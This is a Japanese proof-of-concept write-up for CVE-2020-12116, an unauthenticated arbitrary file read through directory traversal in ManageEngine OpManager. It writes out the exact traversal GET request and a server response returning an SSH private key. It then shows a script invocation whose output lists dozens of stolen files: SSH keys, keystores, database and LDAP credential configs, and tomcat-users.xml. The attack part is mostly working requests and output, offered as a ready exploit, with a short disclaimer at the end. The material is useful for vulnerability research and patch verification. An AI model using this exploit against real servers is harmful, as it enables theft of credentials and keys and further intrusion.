
概念実証コード CVE-2020-12116 を悪用する: ManageEngine OpManger における認証なしの任意ファイル読み取り
概念実証コード:CVE-2020-12116を悪用した、ManageEngine OpMangerに対する認証なしの任意ファイル読み取り。
OpMangerの最新リリースにはディレクトリトラバーサルの脆弱性が存在し、OpManagerアプリケーション内のすべてのファイルへの無制限アクセスを許可します。これには、秘密SSH鍵、パスワード保護されたJavaキーストア、キーストアや秘密証明書、バックエンドデータベースへのパスワードを含む設定ファイルが含まれます。LDAPが設定されている場合、"conf/OpManager/ldap.conf"からドメイン資格情報を取得できます。
ManageEngine OpManagerアプリケーションのルートディレクトリに対して、デフォルトではポート8060で、認証なしのGETリクエストを送信します。
GET / HTTP/1.1
Host: <HOSTNAME>:8060
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
応答HTMLには、キャッシュされたJavaScriptの"src" URLが含まれます。
<SCRIPT LANGUAGE="javascript" SRC="/cachestart/125116/cacheend/apiclient/fluidicv2/
javascript/jquery/jquery-3.4.1.min.js"></SCRIPT>
上記の抜粋した"SRC" URLにはディレクトリトラバーサルの脆弱性が含まれており、ManageEngineのルートインストールディレクトリからの任意のファイル読み取りを可能にします。デフォルトのインストールパスは"C:\Program Files\ManageEngine\OpManager"です。
注記: "/cachestart/"の後の数字は製品ビルド番号ですが、脆弱性を悪用するには任意の数字を使用できます。
応答HTMLのスクリプトソースURLを利用して、ディレクトリトラバーサルを含むGETリクエストを送信することで、リモートサーバーから任意のファイルを読み取ることができます。
GET /cachestart/125116/cacheend/apiclient/fluidicv2/javascript/jquery/../../../../bin/.ssh_host_rsa_key HTTP/1.1
Host: <HOSTNAME>:8060
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: close
Cache-Control: max-age=0
Referer: http://<HOSTNAME>:8060/
HTTP/1.1 200
Set-Cookie: JSESSIONID=4E221B342BC080BC9AC2D19378364E3B; Path=/; HttpOnly
X-FRAME-OPTIONS: DENY
Accept-Ranges: bytes
ETag: W/"902-1586033949624"
Last-Modified: Sat, 04 Apr 2020 20:59:09 GMT
Vary: Accept-Encoding
Date: Mon, 13 Apr 2020 15:40:01 GMT
Connection: close
Content-Length: 902
-----BEGIN RSA PRIVATE KEY-----
MIICX...pXqnO
-----END RSA PRIVATE KEY-----
このスクリプトは、ManageEngine OpManagerエンドポイントに対する任意ファイル読み取りの脆弱性を利用して、秘密鍵、秘密キーストア、証明書、パスワードを含む設定ファイルなどの機密ファイルをダウンロードします。
python3 exploit.py -t <hostname/IP> -p 8060 -d ./
[+] bin/.ssh_host_dsa_key を ./bin|.ssh_host_dsa_key に保存しました
[+] bin/.ssh_host_dsa_key.pub を ./bin|.ssh_host_dsa_key.pub に保存しました
[+] bin/.ssh_host_rsa_key を ./bin|.ssh_host_rsa_key に保存しました
[+] bin/.ssh_host_rsa_key.pub を ./bin|.ssh_host_rsa_key.pub に保存しました
[+] conf/client.keystore を ./conf|client.keystore に保存しました
[+] conf/customer-config.xml を ./conf|customer-config.xml に保存しました
[+] conf/database_params.conf を ./conf|database_params.conf に保存しました
[+] conf/FirewallAnalyzer/aaa_auth-conf.xml を ./conf|FirewallAnalyzer|aaa_auth-conf.xml に保存しました
[+] conf/FirewallAnalyzer/auth-conf_ppm.xml を ./conf|FirewallAnalyzer|auth-conf_ppm.xml に保存しました
[+] conf/gateway.conf を ./conf|gateway.conf に保存しました
[+] conf/itom.truststore を ./conf|itom.truststore に保存しました
[+] conf/netflow/auth-conf.xml を ./conf|netflow|auth-conf.xml に保存しました
[+] conf/netflow/server.xml を ./conf|netflow|server.xml に保存しました
[+] conf/netflow/ssl_server.xml を ./conf|netflow|ssl_server.xml に保存しました
[+] conf/NFAEE/cs_server.xml を ./conf|NFAEE|cs_server.xml に保存しました
[+] conf/OpManager/database_params.conf を ./conf|OpManager|database_params.conf に保存しました
[+] conf/OpManager/database_params_DE.conf を ./conf|OpManager|database_params_DE.conf に保存しました
[+] conf/OpManager/ldap.conf を ./conf|OpManager|ldap.conf に保存しました
[+] conf/OpManager/MicrosoftSQL/database_params.conf を ./conf|OpManager|MicrosoftSQL|database_params.conf に保存しました
[+] conf/OpManager/POSTGRESQL/database_params.conf を ./conf|OpManager|POSTGRESQL|database_params.conf に保存しました
[+] conf/OpManager/POSTGRESQL/database_params_DE.conf を ./conf|OpManager|POSTGRESQL|database_params_DE.conf に保存しました
[+] conf/OpManager/securitydbData.xml を ./conf|OpManager|securitydbData.xml に保存しました
[+] conf/OpManager/SnmpDefaultProperties.xml を ./conf|OpManager|SnmpDefaultProperties.xml に保存しました
[+] conf/Oputils/snmp/Community.xml を ./conf|Oputils|snmp|Community.xml に保存しました
[+] conf/Persistence/DBconfig.xml を ./conf|Persistence|DBconfig.xml に保存しました
[+] conf/Persistence/persistence-configurations.xml を ./conf|Persistence|persistence-configurations.xml に保存しました
[+] conf/pmp/PMP_API.conf を ./conf|pmp|PMP_API.conf に保存しました
[+] conf/pmp/pmp_server_cert.p12 を ./conf|pmp|pmp_server_cert.p12 に保存しました
[+] conf/product-config.xml を ./conf|product-config.xml に保存しました
[+] conf/SANSeed.xml を ./conf|SANSeed.xml に保存しました
[+] conf/server.keystore を ./conf|server.keystore に保存しました
[+] conf/server.xml を ./conf|server.xml に保存しました
[+] conf/system_properties.conf を ./conf|system_properties.conf に保存しました
[+] conf/tomcat-users.xml を ./conf|tomcat-users.xml に保存しました
[+] lib/OPM_APNS_Cert.p12 を ./lib|OPM_APNS_Cert.p12 に保存しました
この概念実証コードは学術研究のために作成されたものであり、明示的に許可された場合を除き、システムに対して使用することを意図していません。本コードは現状のまま提供され、その実行についての保証や約束は一切ありません。私は本コードの誤用について一切の責任を負いません。